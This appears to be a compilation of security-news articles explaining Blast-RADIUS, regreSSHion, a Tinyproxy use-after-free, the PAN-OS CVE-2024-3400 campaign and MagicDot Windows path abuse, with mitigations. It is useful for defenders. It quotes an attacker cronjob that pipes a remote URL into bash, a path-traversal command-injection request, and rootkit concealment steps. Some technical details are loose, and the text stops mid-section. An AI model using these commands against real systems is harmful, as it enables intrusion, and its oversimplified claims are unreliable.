1. Network Access Server (NAS): Acts as a client that verifies an end user’s credentials by sending RADIUS requests to a central server.
2. RADIUS Server: Responds to NAS with Access-Accept or Access-Reject messages based on the verification of user credentials.
3. Shared Secret: A fixed secret known only to the NAS and the RADIUS server.
4. Request Authenticator: A 16-byte random value included in request packets.
5. Response Authenticator: An MD5 hash value used to integrity-protect server responses.

Attack Mechanics

1. Adversary Interception: The attacker positions themselves between the RADIUS client (NAS) and the RADIUS server. They can intercept and modify the communication.
2. Crafting Malicious Proxy-State Attribute: The attacker injects a malicious Proxy-State attribute into a legitimate client’s Access-Request packet. This attribute is designed to be echoed back by the server in its response.
3. MD5 Collision Attack: The attack exploits the MD5 hashing algorithm’s vulnerability to chosen-prefix collisions. Here’s a step-by-step breakdown:
   • Chosen-Prefix Collision: Given two distinct prefixes P1P1P1 and P2P2P2, the attacker computes gibberish blocks G1G1G1 and G2G2G2 such that:MD5(P1∣∣G1)=MD5(P2∣∣G2)MD5(P1||G1) = MD5(P2||G2)MD5(P1∣∣G1)=MD5(P2∣∣G2)This means that the attacker can create two different messages that result in the same MD5 hash.
   • Access-Reject and Access-Accept Collision: The attacker predicts the format of the server’s Access-Reject response and creates a fake Access-Accept response. Using the MD5 collision technique, the attacker ensures that both responses have the same MD5 hash value.
4. Response Authenticator Forgery: The server computes the Response Authenticator using the formula:MD5(Code∣∣ID∣∣Length∣∣RequestAuthenticator∣∣PacketAttributes∣∣SharedSecret)MD5(Code || ID || Length || Request Authenticator || Packet Attributes || Shared Secret)MD5(Code∣∣ID∣∣Length∣∣RequestAuthenticator∣∣PacketAttributes∣∣SharedSecret)By including the malicious Proxy-State attribute, the attacker ensures the Response Authenticator for the fake Access-Accept matches the legitimate Access-Reject response.
5. Packet Replacement: The attacker intercepts the server’s Access-Reject response and replaces it with the forged Access-Accept response, keeping the Response Authenticator intact.
6. Unauthorized Access: The NAS receives the forged Access-Accept response and grants the attacker access to network resources, believing the server has authenticated them.

Detailed Attack Steps

1. Initial Access-Request: The attacker sends an Access-Request with an arbitrary incorrect password. The request includes a random Request Authenticator value.
2. Prediction of Access-Reject: The attacker predicts the server will respond with an Access-Reject message.
3. MD5 Collision Computation: The attacker computes a chosen-prefix collision between the predicted Access-Reject and a forged Access-Accept response, resulting in RejectGibberish and AcceptGibberish strings.
4. Modified Access-Request: The attacker includes RejectGibberish in the Access-Request as a Proxy-State attribute.
5. Server Response: The server processes the request, decides to reject it, and sends an Access-Reject response with RejectGibberish and a computed Response Authenticator.
6. Interception and Replacement: The attacker intercepts the Access-Reject, replaces it with the forged Access-Accept, and sends it to the NAS.
7. Access Granted: The NAS verifies the Response Authenticator, which matches the forged Access-Accept, and grants network access to the attacker.

Blast-RADIUS Attack: Simple Explanation

Imagine you’re playing a game where your friend is the game master, and they have a special secret code to allow or deny people to play. This secret code is like a password that both you and your friend know, but no one else does. Now, let’s say a sneaky person wants to play the game without knowing the password. They can use a trick called the Blast-RADIUS attack to fool your friend into thinking they are allowed to play.

How the Attack Works

1. Interception: The sneaky person (attacker) sits between you (the player) and your friend (the game master). They can see and change messages sent between you two.
2. Fake Messages: You send a message to your friend with your name and password. The attacker catches this message and changes it a little bit by adding some special, meaningless words.
3. Predicting Responses: The attacker knows that if the password is wrong, your friend will send a message saying “no, you can’t play.” They predict what this “no” message looks like.
4. MD5 Collision: The attacker uses a special trick called an MD5 collision. Think of it like finding two different jigsaw puzzle pieces that fit perfectly in the same spot. They make a fake “yes, you can play” message that looks the same as the “no” message to your friend.
5. Switching Messages: When your friend sends the “no” message back to you, the attacker catches it again and replaces it with the fake “yes” message. Since the fake message fits perfectly, your friend doesn’t realize it was changed.
6. Gaining Access: You receive the fake “yes” message, thinking your friend has allowed you to play, even though your password was wrong.

Why It Matters

This attack is dangerous because it tricks the system into giving access to someone who shouldn’t have it. It’s like letting a stranger into your secret clubhouse because they made a fake membership card that looks real.

Is the Blast-RADIUS Attack Practical?

The practicality of the Blast-RADIUS attack is a nuanced issue. Here’s a detailed breakdown:

Proof-of-Concept Feasibility

• Running Time: In proof-of-concept attacks, it took between 3 to 6 minutes to compute the MD5 chosen-prefix hash collision required for the attack. This duration is longer than the typical 30- to 60-second timeouts used in practice for RADIUS authentication.
• Parallelization: The collision algorithm used in the attack can be parallelized, meaning that with the right resources, the attack time can be significantly reduced. Hardware optimization and modern GPUs or specialized hardware like FPGAs (Field Programmable Gate Arrays) or ASICs (Application-Specific Integrated Circuits) can speed up the process.
• Resource Availability: The reported running times were based on optimizations to a 15-year-old codebase running on CPUs dating from seven to ten years ago. A well-resourced attacker could achieve much faster times by using more advanced and powerful computing resources.

Computational Cost

• Cloud Resources: Implementing the attack on cloud resources like Amazon EC2 could drastically reduce the computation time. For instance, utilizing a c7a.48xlarge instance with 192 vCPUs or a g6.48xlarge instance with 192 vCPUs and 8 NVIDIA L4 GPUs could increase the speed of the attack, with an estimated cost of around $50 per hour to exceed the computing capacity used in the proof-of-concept.

Practical Constraints

• Timeouts: The typical 30- to 60-second timeouts for RADIUS responses present a challenge, as the proof-of-concept times exceeded these limits. However, with optimized resources, this barrier can potentially be overcome.
• Network Access: The attacker needs to be in a position to act as a man-in-the-middle on the network between the RADIUS client and server. This requires significant network access, which may not always be practical or achievable without compromising other parts of the network first.

Who is Affected by These Vulnerabilities?

The Blast-RADIUS vulnerability affects nearly all RADIUS (Remote Authentication Dial-In User Service) implementations using non-EAP (Extensible Authentication Protocol) authentication methods over UDP (User Datagram Protocol). This includes:

• Enterprise Networks: RADIUS is commonly used to authenticate access to switches and other network infrastructure.
• VPN Access: Virtual Private Networks often use RADIUS for authentication.
• Internet Service Providers (ISPs): For DSL (Digital Subscriber Line) and FTTH (Fiber to the Home) services.
• Wi-Fi Authentication: Used in 802.1X and various wireless authentication scenarios.
• Cellular Networks: 2G, 3G cellular roaming, 5G DNN (Data Network Name) authentication.
• Mobile Wi-Fi Offload: Authentication using SIM cards.
• Critical Infrastructure Access: Including industrial control systems.
• Eduroam and OpenRoaming: Wi-Fi consortia for educational and public networks.

End users cannot protect themselves directly against this vulnerability; the responsibility lies with system administrators and network operators.

Can I Detect Whether This Attack Was Run on My Network?

Yes, it is possible to detect this attack, but it requires specific log files and analysis:

1. Log Files: You need detailed log files of Access-Rejects on the RADIUS server and Access-Accepts on the RADIUS client.
2. Suspicious Proxy-State Attributes: Look for Access-Accept packets with Proxy-State attributes containing random bytes in the client logs. This could indicate an attack, as end clients should not receive packets with Proxy-State attributes.
3. Comparing Logs: Find the corresponding Access-Reject response packet in the RADIUS server logs. Verify that the server’s response differs from the response received by the client, and that both contain valid Response Authenticator values for the request ID and Request Authenticator.
4. MD5 Hash Check: If both packets produce the same MD5 hash in the Response Authenticator, it indicates that the vulnerability was exploited.

How Can We Mitigate This Attack in Our System?

To mitigate the Blast-RADIUS attack, follow these recommended countermeasures:

Short-Term Mitigation

• Message-Authenticator Attributes: Ensure that clients and servers always send and require Message-Authenticator attributes for all requests and responses. For Access-Accept or Access-Reject responses, include the Message-Authenticator as the first attribute.

Long-Term Mitigation

• Encrypted Channels: Use RADIUS inside an encrypted and authenticated channel that offers modern cryptographic security guarantees. The IETF (Internet Engineering Task Force) is working on standardizing RADIUS over (D)TLS (Datagram Transport Layer Security).

Additional Steps

• Apply Patches: Check with RADIUS vendors for patches implementing these mitigations and apply them.
• Configuration Changes: Configure both clients and servers to require Message-Authenticator attributes in all communications.
• Transition to Modern Protocols: Plan to migrate to using RADIUS over (D)TLS or similar secure transport mechanisms as they become standardized and supported.

For more detailed guidance, consult the white paper authored by Alan DeKok of FreeRADIUS and the mitigation section on Blast-RADIUS.

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OpenSSH: An Overview

OpenSSH, or Open Secure Shell, is a suite of secure networking utilities based on the Secure Shell (SSH) protocol, which provides a secure channel over an unsecured network. It is widely used for remote login, command execution, file transfer, and tunneling services, ensuring encrypted communications between clients and servers.

Key Features of OpenSSH

• Remote Login: Securely log in to remote systems.
• Encrypted Traffic: All traffic between client and server is encrypted, preventing eavesdropping and connection hijacking.
• Data Integrity: Ensures data integrity and confidentiality during transmission.
• Forwarding: Supports TCP/IP and X11 forwarding, allowing secure forwarding of ports and display sessions.

Vulnerability Details

The vulnerability is rooted in the way OpenSSH’s sshd daemon handles certain signals. Specifically, a race condition occurs in the signal handling code that can be triggered under certain conditions. This race condition can lead to memory corruption, allowing an attacker to manipulate memory allocations and potentially execute arbitrary code.

The exploit scenario involves carefully timed interactions with the sshd process, leveraging the signal handling code to create a state where the memory allocation functions (malloc, free) can be manipulated. This manipulation can result in the execution of malicious code or unauthorized access.

The vulnerability CVE-2024-6387, also known as regreSSHion, has exposed a significant number of OpenSSH server instances to potential exploitation. Here are the key findings related to this vulnerability:

1. Widespread Exposure: It is estimated that over 14 million OpenSSH server instances are potentially vulnerable and exposed to the internet. These instances are susceptible to remote unauthenticated code execution (RCE), which could allow attackers to gain full control over the affected systems.
2. Severity: The vulnerability can be exploited to achieve RCE, particularly affecting systems running glibc-based Linux versions. This makes it a critical security concern for organizations relying on OpenSSH for secure remote communications.
3. Historical Context: The flaw has been named regreSSHion because it is a regression of an older vulnerability (CVE-2006-5051) that was previously patched. This highlights the importance of ongoing vigilance and patch management in software security.

Technical Analysis

The detailed technical breakdown provided by Qualys highlights the steps attackers can take to exploit this vulnerability:

1. Heap Manipulation: Attackers can free a specific chunk of memory in a non-main arena, redirecting the pointer to OpenSSH’s Global Offset Table (GOT).
2. Code Overwrite: By overwriting the entry for _exit() in the GOT with the address of shellcode, attackers can gain control of the execution flow.
3. Timing Strategy: The exploitation relies on precise timing to interrupt memory operations, creating a situation where uninitialized memory fields can be controlled by the attacker.

Affected OpenSSH Versions for CVE-2024-6387

The critical vulnerability CVE-2024-6387 impacts various versions of OpenSSH, primarily those released between versions 8.5p1 and 9.7p1. This vulnerability, a signal handler race condition in OpenSSH’s server (sshd), allows for potential remote unauthenticated code execution.

• Vulnerable Versions: OpenSSH versions from 8.5p1 up to 9.7p1.
• Older Versions: Versions earlier than 4.4p1 are also vulnerable unless patched for CVE-2006-5051 and CVE-2008-4109.
• Recent Vulnerability: The race condition in OpenSSH’s sshd has made numerous systems susceptible to potential attacks.

Potential Impact of regreSSHion (CVE-2024-6387)

The vulnerability known as “regreSSHion,” identified as CVE-2024-6387, poses significant risks to systems running affected versions of OpenSSH. Here are the potential impacts:

1. Remote Code Execution (RCE)

• Nature: The most critical impact of CVE-2024-6387 is the possibility of remote code execution.
• Consequence: Attackers can execute arbitrary code on the affected systems, potentially gaining full control over the server. This can lead to unauthorized access, data breaches, and further exploitation.

2. Privilege Escalation

• Nature: The vulnerability may allow attackers to escalate their privileges on the compromised system.
• Consequence: An attacker with limited access could exploit this vulnerability to gain root or administrative privileges, significantly increasing the potential damage.

3. System Compromise

• Nature: Once exploited, the vulnerability could lead to the complete compromise of the affected system.
• Consequence: This includes potential installation of malware, backdoors, or other malicious tools, which could be used to further exploit or control the system.

4. Data Breach

• Nature: With unauthorized access, attackers can exfiltrate sensitive data.
• Consequence: This could result in the loss of confidential information, intellectual property, and personal data, leading to financial and reputational damage.

5. Service Disruption

• Nature: Exploitation of the vulnerability might lead to the disruption of services provided by the affected systems.
• Consequence: This can impact business operations, cause downtime, and affect service availability to users and clients.

6. Spread of Malware

• Nature: Compromised systems can be used as a launchpad for further attacks.
• Consequence: This can lead to the spread of malware within a network, affecting more systems and expanding the reach of the attack.

Mitigation and Patches

To mitigate the risks associated with CVE-2024-6387, the following steps should be taken:

1. Patch and Update: Ensure all systems running affected versions of OpenSSH are updated to the latest patched version.
2. Monitor and Audit: Regularly monitor and audit SSH access logs for any unusual activity.
3. Access Controls: Implement strong access controls and use multi-factor authentication (MFA) to secure SSH access.
4. Network Segmentation: Use network segmentation to limit the exposure of SSH services to potential attackers.
5. Security Best Practices: Follow best practices for securing SSH, including using strong, unique passwords and disabling root login.

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Overview of the Vulnerability

Tinyproxy, a minimalist, open-source HTTP proxy, is designed for simplicity and efficiency, making it popular in environments where lightweight proxies are required. The vulnerability in question arises in the parsing of HTTP Connection headers—a fundamental component meant to specify which headers are persistent during an HTTP session.

According to the Cisco Talos vulnerability report (TALOS-2023-1889), specific versions of Tinyproxy, namely 1.11.1 and 1.10.0, are affected. The flaw exists in the remove_connection_headers function of Tinyproxy, where a use-after-free error can occur. This kind of software bug is particularly dangerous as it can lead to memory corruption, providing an attacker with a pathway for executing arbitrary code on the host machine.

Technical Breakdown

The issue arises when Tinyproxy handles HTTP headers that are supposed to be removed according to the Connection header’s directives. If the Connection or Proxy-Connection headers are manipulated by an attacker, it can lead to the reuse of previously freed memory. This use-after-free scenario is triggered as follows:

• Tinyproxy iterates over the headers specified in the Connection or Proxy-Connection header.
• Each specified header is removed from a key-value store (hashofheaders), and its memory is subsequently freed.
• However, due to an error in the management of these headers, the freed memory can be reused before the function completes, leading to memory corruption.

This vulnerability is particularly concerning because it can be exploited with a simple malformed HTTP request, making it easy for an attacker to leverage and potentially take over the system running Tinyproxy.

Exploitability and Impact

The CVSSv3 score for this vulnerability is 9.8 (Critical), which underscores its severity. An attacker does not need authenticated access to the target system, making it accessible to any malicious entity that can send HTTP requests to the affected proxy. The potential impacts include unauthorized access, data breaches, service disruption, and in severe cases, complete system compromise.

A use-after-free issue occurs when an application continues to use a memory reference (pointer) after it has freed the memory to which the pointer refers. This can lead to unpredictable behavior, including application crashes, data corruption, and the execution of arbitrary code.

Exploitation Example for CVE-2023-49606

Scenario Setup: Imagine a scenario where a server is running Tinyproxy version 1.11.1. This version is known to have a use-after-free vulnerability in the way it processes HTTP Connection headers.

Step-by-Step Exploitation:

1. Initial HTTP Request by Attacker:
   • The attacker crafts an HTTP request that includes specially designed Connection headers. The goal is to manipulate these headers to trigger the use-after-free condition.
   • Example HTTP request:
     • GET / HTTP/1.1
     • Host: vulnerable-proxy.com
     • Connection: keep-alive, maliciousHeader
     • maliciousHeader: freeThis
2. Processing the Request:
   • Tinyproxy receives the request and parses the headers. According to the specifications, it must remove headers listed in the Connection header after processing the request.
   • The remove_connection_headers function is called to handle this task.
3. Triggering the Use-After-Free:
   • During the processing, Tinyproxy removes maliciousHeader and frees the memory associated with it. However, due to a flaw in the proxy’s memory management, this freed memory could be reallocated for new data while still being referenced by the ongoing process.
   • Suppose the freed memory is quickly reallocated and filled with attacker-controlled data through another part of the application (or another request processed concurrently).
4. Exploiting the Freed Memory:
   • The attacker anticipates that Tinyproxy will access this freed (and now reallocated) memory again before the function completes. If this memory now contains executable code or data crafted by the attacker, it might be executed or wrongly used by the application.
   • For instance, if the memory location is used to store a function pointer, the attacker could overwrite this pointer with the address of their malicious code.
5. Executing Arbitrary Code:
   • When Tinyproxy tries to access the “freed” memory as part of its usual operations (e.g., to log details or continue processing headers), it inadvertently executes the code pointed to by the overwritten pointer.
   • This could allow the attacker to execute arbitrary code on the server running Tinyproxy, potentially giving them full control over the server.

Example of Malicious Impact:

• The attacker could install backdoors, exfiltrate confidential data, launch further attacks from the compromised server, or disrupt the server’s operations.

Mitigation and Response

As of the last update from Cisco Talos, there has been no official patch or maintenance release from the maintainers of Tinyproxy to correct this vulnerability. Organizations using Tinyproxy are advised to monitor their systems closely for unusual activity and implement additional safeguards until a patch is available. This may include:

• Deploying web application firewalls (WAFs) to filter out malicious HTTP headers.
• Isolating the proxy server from critical internal networks.
• Regularly updating all software to the latest versions where possible.

For users and administrators of Tinyproxy, understanding the technical mechanics of this vulnerability and staying vigilant about monitoring their network traffic is crucial. Immediate action is recommended to mitigate the risks associated with this critical vulnerability until a permanent fix is issued.

The post How Safe is Your TinyProxy? Step-by-Step Guide to Exploiting Tinyproxy’s Zero Day Vulnerability appeared first on Information Security Newspaper | Hacking News.

Overview of CVE-2024-3400

CVE-2024-3400 is categorized as an unauthenticated remote code execution vulnerability that could allow attackers to execute arbitrary code on the affected device without needing prior authentication. The flaw is particularly concerning because it can be exploited remotely, potentially giving attackers deep access to network defenses.

The CVE-2024-3400 vulnerability in Palo Alto Networks’ PAN-OS, targeted by Operation MidnightEclipse, has recently been leveraged for more sophisticated exploits, including the deployment of the UPSTYLE backdoor and the creation of malicious cronjobs. This detailed examination highlights the current scope of the attack, with insights derived from ongoing cybersecurity investigations.

Current Scope of the Attack

The exploitation of CVE-2024-3400 has evolved into a multi-faceted attack vector, primarily utilized by sophisticated threat actors. These actors employ a combination of direct command execution and advanced persistence mechanisms to maintain access and control over compromised systems. The UPSTYLE backdoor and associated cronjob activities represent two of the most critical components of this attack:

1. UPSTYLE Backdoor Deployment: In observed attacks, malicious actors have used crafted HTTP requests to exploit the vulnerability, subsequently running shell commands to download and execute the UPSTYLE backdoor script from remote servers. This script is often hosted on compromised web servers, with addresses like 144.172.79[.]92/update.py being involved in the distribution.
2. Cronjob Creation for Persistent Access: Furthering their control, attackers have also been observed creating cronjobs on compromised systems. These cronjobs are designed to automatically execute commands at regular intervals, fetching instructions from URLs like hxxp://172.233.228[.]93/policy | bash. This method ensures that even if the initial backdoor is detected and removed, the attackers retain a method of re-entry.

Technical Insights into UPSTYLE and Cronjob Activities

The technical execution of these components involves several sophisticated techniques:

• Command Execution: The initial exploit allows attackers to execute arbitrary shell commands remotely. This capability is used to install the UPSTYLE backdoor, modify system configurations, and set up new network routes to exfiltrate data securely.
• File Manipulation: Post-exploitation activities include modifying system files to hide the presence of malicious software. This often involves altering logs and other digital footprints that could be used to detect the intrusion.
• Automated Persistence: The cronjobs are set to run every minute, a tactic that provides the attackers with near-constant system access and the ability to push updates or new commands to the compromised system swiftly.

Active Exploitation and PoC Release

Reports from various cybersecurity firms, including Kroll and Zscaler, have highlighted active and opportunistic exploitation of this vulnerability by numerous threat actors. The ease of the exploit, compounded by the release of a PoC, has made CVE-2024-3400 a preferred target for malicious activities aimed at infiltrating and compromising enterprise networks.

Exploit details shared on platforms like GitHub reveal how attackers can utilize path traversal techniques combined with crafted HTTP requests to manipulate the firewall’s operating system, leading to unauthorized remote code execution. The ability of these attacks to bypass traditional security layers underscores the severity of the vulnerability.

Exploitation Mechanism: The exploitation of CVE-2024-3400 involves a series of sophisticated steps that allow attackers to bypass authentication and execute arbitrary code. Here are the key technical elements involved:

• Path Traversal: The initial vector for the attack utilizes a path traversal flaw in the web management interface. Attackers craft malicious HTTP requests that manipulate the file system to access areas that are normally restricted. This is typically achieved through inputs that include “../” sequences or similar methods to navigate the file system.
• Command Injection: After gaining access to restricted areas, attackers exploit command injection vulnerabilities. By inserting malicious commands into scripts or command lines that the system erroneously executes, attackers can initiate unauthorized actions on the device.
• Remote Code Execution (RCE): The culmination of the exploit allows attackers to run arbitrary code with the same privileges as the operating system of the firewall. This can lead to full system control, data manipulation, and initiation of further attacks from the compromised device.

Proof-of-Concept (PoC) Exploitation

The proof-of-concept that circulated in cybersecurity circles demonstrated a practical application of the aforementioned exploit techniques. The PoC is typically a script or set of instructions that exploit the vulnerability to prove its existence and potential for damage. In the case of CVE-2024-3400, the PoC details are as follows:

• Exploit Script: Publicly available scripts show how attackers can automatically perform the exploit using simple HTTP requests. These scripts are often shared on coding platforms like GitHub or cybersecurity forums.
• HTTP Request Manipulation: The PoC often includes examples of HTTP requests that induce the vulnerability. For example, an HTTP request might include a path traversal combined with a command injection like:vbnetCopy codePOST /ssl-vpn/hipreport.esp HTTP/1.1 Host: vulnerable-host Cookie: SESSID=../../../../../../var/cmd; command-to-execute
• Malicious Payloads: These payloads are crafted to perform specific actions on the compromised device, such as opening a reverse shell, modifying firewall rules, or exfiltrating confidential data.

Response from Palo Alto Networks

In response to the escalating threat, Palo Alto Networks has issued several security updates and detailed guidance for mitigation. The company has acknowledged the PoC and its implications, urging all users of the affected PAN-OS versions to update their systems immediately to the latest firmware.

Persistent Threats Despite Remediation

1. Persistent Rootkits: The researcher indicates that they have developed a payload that can survive not only operational resets but also factory resets. This type of malware, often referred to as a rootkit, embeds itself deeply within the system such that standard cleanup processes do not erase it. Rootkits can intercept and alter standard operating system processes to hide their presence, making detection and removal particularly challenging.
2. Post-Exploitation Persistence: There is mention of post-exploit persistence techniques that remain effective even after the device has been reset or firmware upgrades have been applied. This means that merely resetting the device to factory settings or updating its firmware isn’t sufficient to ensure that it is free from compromise. The persistence techniques developed can withstand these typical remedial actions.
3. Low Barrier to Entry: The researcher points out that creating such a persistent rootkit does not require advanced skills, suggesting that even less sophisticated attackers could deploy similar threats. This lowers the barrier to entry for executing highly effective and persistent attacks on vulnerable systems.
4. Physical Hardware Replacement Needed: Due to the rootkit’s resilience and deep integration into the system, the researcher recommends a full physical swap of the affected hardware or a thorough offline inspection and validation of the firmware and BIOS by a specialist. This is suggested as the only sure way to remove such entrenched malware, highlighting the severity and depth of the potential security breach.

Updated PSIRT Guidance

• Persistence Acknowledgement: The Palo Alto Networks Product Security Incident Response Team (PSIRT) has updated their guidance to acknowledge that malware can persist through updates and factory resets. This is an important admission that helps users understand the potential for ongoing risks even after applying what are typically considered comprehensive mitigation steps.
• Safety After Patching: While early patching is critical, the updated guidance suggests that simply having patched early does not guarantee safety against sophisticated attackers who may have enabled persistence mechanisms. Users who patched their systems immediately after the vulnerability was disclosed may still need to consider additional measures to ensure their systems are secure.

Recommendations

Given the nature of this persistent threat, organizations and individuals using affected Palo Alto Networks products should consider the following actions:

1. Physical Replacement: Where feasible, replace potentially compromised hardware to eliminate any chance of lingering threats.
2. Specialist Review: Engage with cybersecurity specialists to conduct thorough offline checks of the firmware and BIOS to ensure no elements of the rootkit or other malware remain.
3. Enhanced Monitoring: Implement enhanced monitoring and logging to detect any signs of rootkit activity or other unusual behaviors that indicate a compromised system.
4. Comprehensive Security Practices: Continue applying security best practices, including regular updates, strict access controls, and frequent security audits to identify and mitigate threats.

The exploitation of CVE-2024-3400 has significant implications for network security, particularly for enterprises that rely on Palo Alto firewalls to protect their critical infrastructure. The vulnerability exposes these networks to potential espionage, data breaches, and other malicious activities if not addressed promptly.

Security experts recommend implementing a multi-layered defense strategy that includes regular updates, monitoring for unusual network activity, and employing advanced threat detection solutions. Additionally, companies are advised to review and strengthen their incident response plans to quickly react to any breaches that might occur.

The discovery and subsequent exploitation of CVE-2024-3400 highlight ongoing challenges in cybersecurity defense mechanisms, particularly in widely used infrastructure components like firewalls. It also stresses the importance of timely patches and the dangers posed by publicly available exploit codes. As the digital landscape evolves, so too does the necessity for robust, proactive security measures to safeguard critical data and systems from emerging cyber threats.

The post Eternal Malware: CVE-2024-3400 Rootkits Persist Through Palo Alto Firewalls Updates and Resets appeared first on Information Security Newspaper | Hacking News.

Or Yair and his team found that the MagicDot paths—an area seemingly harmless and known but overlooked—posed significant security risks. The vulnerabilities included allowing malicious actors to hide files and processes, manipulate file restoration processes, and make malware appear as verified software on task managers and process explorers. The most concerning part was that these actions could be executed without the need for administrative rights, essentially offering rootkit capabilities to any unprivileged user.

The DOS-to-NT path conversion process in Windows is a fundamental aspect of how the operating system handles file paths. This process can be complex due to the legacy support for DOS-style paths and the current NT (New Technology) file system paths used by modern Windows. Understanding this conversion process is crucial for grasping how vulnerabilities might arise.

DOS Paths

DOS paths are traditionally shorter and have limitations compared to NT paths:

• Length: DOS paths typically support a maximum of 260 characters.
• Format: They use a simple structure, generally starting with a drive letter followed by a colon and a backslash, then the directory names, separated by backslashes (e.g., C:\Program Files\Example).
• Character Set: DOS paths are limited to upper-case letters with no spaces or special characters beyond underscores.

NT Paths

NT paths are used in modern Windows operating systems and support more complex features:

• Length: They can exceed the classic 260-character limit of DOS paths.
• Format: NT paths can include networking setups and subsystem links. They often start with \\?\ for local paths or \\?\UNC\ for network paths to bypass the character limit (e.g., \\?\C:\Program Files\Example).
• Character Set: NT paths allow for a wider range of characters in file and directory names, including spaces and mixed case.

Conversion Process

The conversion from a DOS path to an NT path involves several steps that accommodate these differences. Here’s a simple example to illustrate:

Example of Conversion

DOS Path: C:\PROGRA~1\Example

• This is a shortened DOS path where PROGRA~1 might be the shortened version of Program Files.

Converted NT Path: \\?\C:\Program Files\Example

• The DOS path is expanded to its full NT format, including the special prefix \\?\ that tells Windows to handle this as an extended-length path.

Vulnerabilities

The conversion process is prone to vulnerabilities, especially if malicious actors manipulate path names by inserting special characters or irregular spacing. For example:

• Manipulated DOS Path: C:\PROGRA~1\Example\.. \.. \badfile.exe
• In this manipulated path, the use of dots (..) and irregular spacing can trick the system into navigating up the directory tree unexpectedly, potentially accessing or executing a file (badfile.exe) from an unintended location.

The vulnerabilities uncovered by the “MagicDot” research, particularly focusing on the Windows DOS-to-NT path conversion, highlight significant security risks including Remote Code Execution (RCE) and Elevation of Privilege (EoP). These vulnerabilities stem from the system’s mishandling of file paths, where the inclusion of special characters like trailing dots and spaces can lead to unexpected and potentially harmful behavior. Here’s a breakdown of how these specific vulnerabilities manifest:

Remote Code Execution (RCE)

Overview: Remote Code Execution occurs when an attacker is able to execute arbitrary code on another machine over a network, typically bypassing security mechanisms to gain control of the targeted system.

MagicDot Exploitation Path:

• File Name Manipulation: An attacker can craft file names with trailing dots and spaces that are misinterpreted by some parts of the Windows OS but are treated as valid executable paths by others.
• Misleading Application and Services: For example, a script or application might download a file named safe_script.ps1. intending to run a PowerShell script. The system, however, executes a malicious script named safe_script.ps1 (without the dot) that the attacker previously placed on the system.
• Triggering Execution: This can happen through web downloads, email attachments, or other means where the user or an automated system executes what appears to be a benign file, leading to the execution of malicious code.

Elevation of Privilege (EoP)

Overview: Elevation of Privilege occurs when an attacker gains higher access rights than intended, typically moving from a lower privilege level to a higher one, such as obtaining administrative rights from a normal user account.

MagicDot Exploitation Path:

• Directory and File Confusion: By creating directories or files with trailing spaces or dots, an attacker might confuse system processes about the identity and attributes of a file or directory. For instance, manipulating file paths could trick the system into executing a file from an unprivileged context as if it has administrative privileges.
• Bypassing Security Controls: These path manipulations can allow malware to be placed in sensitive directories or execute operations that normally require higher privileges. For example, an executable might be placed in a system directory disguised with a trailing dot, misleading system defenses that check the integrity of filenames without considering such anomalies.
• Exploiting System Processes: If a system process automatically processes files from a directory (like a temp directory) and executes files supposed to be logs or non-executable data, the misinterpreted paths can lead to unauthorized administrative actions being performed.

The most critical of these vulnerabilities was logged under CVE-2023-42757, which, as confirmed by MITRE and Microsoft, pertains to an exploitable flaw that will be documented in a forthcoming CVE entry.

The Exploit Technique

The MagicDot exploit takes advantage of the way Windows trims trailing dots and spaces from file names during its DOS-to-NT path conversion. By carefully crafting file names that include these characters, attackers can create files that appear benign to certain processes while being malicious in nature. Here’s a detailed step-by-step example of how such an exploit might be executed:

Example of MagicDot Exploit

1. Creating the Malicious File:
   • An attacker creates a file named important.txt... on a system. While the file name is displayed as important.txt in most legacy interfaces (due to DOS conventions trimming the trailing dots), the NT file system retains the full name including the dots.
2. Exploitation:
   • The attacker convinces a system process or an application to interact with important.txt, intending to access the benign-looking file.
   • Due to the path conversion process, some applications that do not trim trailing spaces or dots may end up interacting with important.txt..., which is actually a different, malicious file controlled by the attacker.
3. Bypassing Security Measures:
   • By using this naming discrepancy, the malicious file can bypass security measures that might not recognize it as a threat due to its seemingly innocuous name (as seen by most legacy applications).
4. Impact:
   • This kind of path manipulation could allow the attacker to execute arbitrary code, replace system files, intercept data, or cause other unauthorized actions, all while avoiding detection by security tools that only scan for known dangerous paths or file names.

Rootkits are malicious software designed to gain unauthorized access to a computer system while remaining hidden from users and security programs. They often provide the attacker with administrator-level access, allowing them to alter system configurations, hide malicious activity, and maintain persistent access. Rootkit capabilities vary, but they typically include functionalities that manipulate core system processes and structures to conceal their presence.

Technical Details on Rootkit Capabilities

Rootkits interact deeply with the operating system, often at the kernel level, to avoid detection. They can intercept and alter system calls, hide specific files and directory entries, and mask network connections and processes. Here’s how rootkit capabilities can be understood through a conceptual example:

Example: File and Process Concealment Rootkit

1. Kernel-Level Manipulation:
   • The rootkit injects itself into the kernel or operates as a kernel module, giving it high-level control over system functions.
2. File Concealment:
   • Objective: Make certain files invisible to system tools and users.
   • Method: The rootkit intercepts system calls that list directory contents (e.g., readdir on Linux or NtQueryDirectoryFile on Windows). It modifies the results to exclude specific files or directories from being displayed.
3. Process Concealment:
   • Objective: Hide certain processes to avoid detection by task managers or monitoring software.
   • Method: Similar to file concealment, the rootkit intercepts system calls related to process enumeration (e.g., NtQuerySystemInformation on Windows). It then filters out any information related to its own processes or other specified malicious processes.
4. Example Scenario:
   • An attacker installs a rootkit on a system that hides a malicious process named badprocess.exe. The rootkit is programmed to intercept calls to NtQuerySystemInformation, used by Windows Task Manager to list running processes.
   • When Task Manager runs, it queries the system for a list of all processes. However, each time this query includes badprocess.exe, the rootkit removes this entry from the results.
   • As a result, badprocess.exe operates on the system without appearing in the task list, effectively invisible to both users and most antivirus software.

Unprivileged Rootkit-like Capabilities Through MagicDot Paths

Rootkits traditionally require privileged access to a system to manipulate core processes and remain undetected. However, the MagicDot findings illustrate that attackers can achieve similar outcomes—such as concealing malicious activities and manipulating system processes—without needing such elevated privileges. This is done through clever manipulation of file path anomalies allowed by the system.

Key Capabilities Demonstrated:

1. File and Directory Masking:
   • By appending dots (.) and spaces to filenames, attackers can create files or directories that are not properly recognized or are misinterpreted by certain parts of the operating system. This allows malicious files to be hidden in plain sight, effectively invisible to standard file management tools and even some antivirus software.
2. Misleading System and Applications:
   • The anomalies in handling trailing dots and spaces can mislead applications and system processes about the true nature or existence of files. For example, a file named example.txt... might be shown and treated as example.txt in some interfaces, while it is a separate and potentially harmful file in reality.
3. Bypassing Security Mechanisms:
   • These path manipulations can be used to bypass security mechanisms that rely on file path integrity checks. By exploiting the discrepancies between how file paths are displayed and stored, attackers can smuggle in or execute malicious payloads unnoticed.
4. Persistent Access and Control:
   • Similar to traditional rootkits, files created using MagicDot techniques can persist on the system and perform unauthorized activities without being detected. These files can continually interfere with system operations or monitor user actions covertly.

Example Scenario:

